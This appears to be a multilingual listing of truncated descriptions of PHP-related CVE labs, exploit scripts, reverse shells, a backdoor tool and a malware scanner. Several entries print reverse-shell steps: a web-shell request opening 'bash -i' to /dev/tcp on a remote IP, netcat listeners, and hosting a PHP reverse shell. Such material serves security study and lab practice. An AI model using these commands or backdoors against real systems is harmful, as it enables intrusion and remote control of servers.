CVE-2022-43117

Descrizione suggerita L'applicazione Password Storage Application in PHP/OOP e MySQL 1.0 di Sourcecodester è stata scoperta contenere multiple vulnerabilità di cross-site scripting XSS tramite i parametri Name, Username, Description e Site Feature. Informazioni aggiuntive Prova di concetto:...

CVE-2018-9206-jquery-file-upload

CVE-2018-9206 - Blueimp jQuery-File-Upload Lab Ambiente Docker vulnerabile per CVE-2018-9206 - Caricamento file senza restrizioni in Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED Oppure esegui lo scrip...

CVE-2025-49113-Simulation

Laboratório Roundcube RCE CVE-2025-49113 Um ambiente de laboratório prático e containerizado para simular e explorar uma vulnerabilidade crítica de RCE pós-autenticação no Roundcube Webmail, identificada como CVE-2025-49113. 📖 Sobre a Vulnerabilidade Este laboratório demonstra uma cadeia de ataqu...

netpwn

netpwn Ein Framework zur Automatisierung von Aufgaben des Pentestings. Geschrieben in Python 2.7 Module reverseshell - Erstellt eine Reverse-Shell mit Python, um eine Verbindung zu einer von Ihnen gewählten Maschine herzustellen. sendfile - Ermöglicht das Senden einer Datei an den Zielserver...

CVE-2022-4047

CVE-2022-4047 Return Refund and Exchange For WooCommerce 4.0.9 - Caricamento Arbitrario di File Non Autenticato Utilizzo root@kitploit: @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@@@@@@@@...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Un ambiente di laboratorio POC per la RCE di CraftCMS CVE-2024-56145. Descrizione della vulnerabilità Una potenziale vulnerabilità RCE è presente in craftCMS se l'opzione registerargcargv è abilitata in php.ini. Questo è un ambiente di laboratorio POC dove puoi...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Remote Code Execution RCE Exploit Beschreibung Dieses Skript nutzt eine Remote Code Execution RCE-Sicherheitslücke in Pluck CMS v4.7.18 aus. Die Schwachstelle erlaubt es einem Angreifer, eine schadhafte PHP-Datei auf den Server hochzuladen und auszuführen, wodur...

hiphp

🚨 Nuova Build Disponibile! WebHole ora supporta tutti i principali linguaggi web. Scoprilo su GitHub: WebHole su GitHub Hiphp Progetto gratuito e open source per creare una backdoor per controllare siti web basati su PHP. ✓ Interfaccia a riga di comando CLI. ✓ Interfaccia grafica GUI. ✓...

ctf-cve-2024-4577

تحدي CTF الخاص بـ CVE-2024-4577 نظرة عامة يُظهر هذا التحدي من نوع CTF ثغرة CVE-2024-4577، وهي ثغرة حرجة في حقن وسائط سطر الأوامر في PHP CGI تؤثر على إصدارات PHP 8.1.x 8.1.21 و 8.2.x 8.2.8 و 8.3.x 8.3.1. تفاصيل الثغرة CVE-2024-4577 هي ثغرة حقن وسائط سطر الأوامر في PHP CGI تحدث عندما يتم تكوين PHP...

CVE-2025-26198

CVE-2025-26198 - Demonstração de Injeção SQL Projeto acadêmico ENSIMAG - Segurança 3A Autores: Wail Yacoubi, Mohammed-Yassine Akhmari Data: Janeiro de 2026 Aviso Este código é intencionalmente vulnerável para fins educativos. Nunca implantar em produção. Descrição Reprodução da CVE-2025-26198:...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Ändere $ip in Zeile 7 von phprevshell.php nc -lvnp 1234...

vulnerable-bsr-lab-CVE-2023-6933

Laboratorio di vulnerabilità CVE-2023-6933 Panoramica Questo ambiente di laboratorio dimostra la CVE-2023-6933, una vulnerabilità critica di PHP Object Injection nel plugin WordPress Better Search Replace versioni ≤1.4.4. Dettagli della vulnerabilità ID CVE : CVE-2023-6933 Punteggio CVSS : 9.8...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip passwor...

phpMussel

Cos'è phpMussel? Una soluzione ideale per ambienti di hosting condiviso, dove spesso non è possibile utilizzare o installare soluzioni antivirus convenzionali, phpMussel è uno script PHP progettato per rilevare trojan, virus, malware e altre minacce nei file caricati sul tuo sistema ovunque lo...

CVE-2024-34224

Computer Laboratory Management System using PHP and MySQL 1.0 Einreicher: Kha Do Schwachstelle Cross Site Scripting Beschreibung Die Cross-Site-Scripting-Schwachstelle in /php-lms/classes/Users.php?f=save im Computer Laboratory Management System using PHP and MySQL 1.0 ermöglicht es entfernten...

php-reverse-shell

PHP Reverse Shell Solo una piccola rivisitazione del popolare script PHP reverse shell pentestmonkey/php-reverse-shell. Crediti all'autore originale! Funziona su sistemi operativi Linux e macOS con /bin/sh e su sistemi operativi Windows con cmd.exe. Lo script rileverà automaticamente il sistema...

CVE-2024-4577

CVE-2024-4577 Vulnerability Checker Ce script est conçu pour vérifier la vulnérabilité décrite par CVE-2024-4577, qui consiste à exploiter certaines configurations PHP pour exécuter du code arbitraire à distance. Il envoie une requête POST à des points de terminaison spécifiés sur une liste de...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Como usar 1. Crie um shell reverso em PHP 2. Inicie um servidor para hospedar o shell no mesmo diretório python3 -m http.server 3. Inicie um listener netcat na porta local de sua escolha, exemplo: nc -nlvp port of choice 4. Execute o exemplo de exploit fornecido...

CVE-2024-4577-PHP-CGI-argument-injection-RCE

Iniezione di argomenti PHP CGI verso RCE CVE-2024-4577 - codice exploit La vulnerabilità CVE-2024-4577 in PHP CGI è emersa come una falla di sicurezza critica, consentendo l'esecuzione remota di codice tramite iniezione di argomenti. Presente in diverse versioni di PHP, questa vulnerabilità...

CVE-2019-11043

CVE-2019-11043 Descrizione della vulnerabilità Su NgiNginx, quando fastcgisplitpathinfo elabora una richiesta contenente %0a, PATHINFO diventa vuoto a causa del carattere di nuova riga \n. php-fpm, quando gestisce PATHINFO vuoto, presenta un difetto logico. Un attaccante, attraverso una costruzio...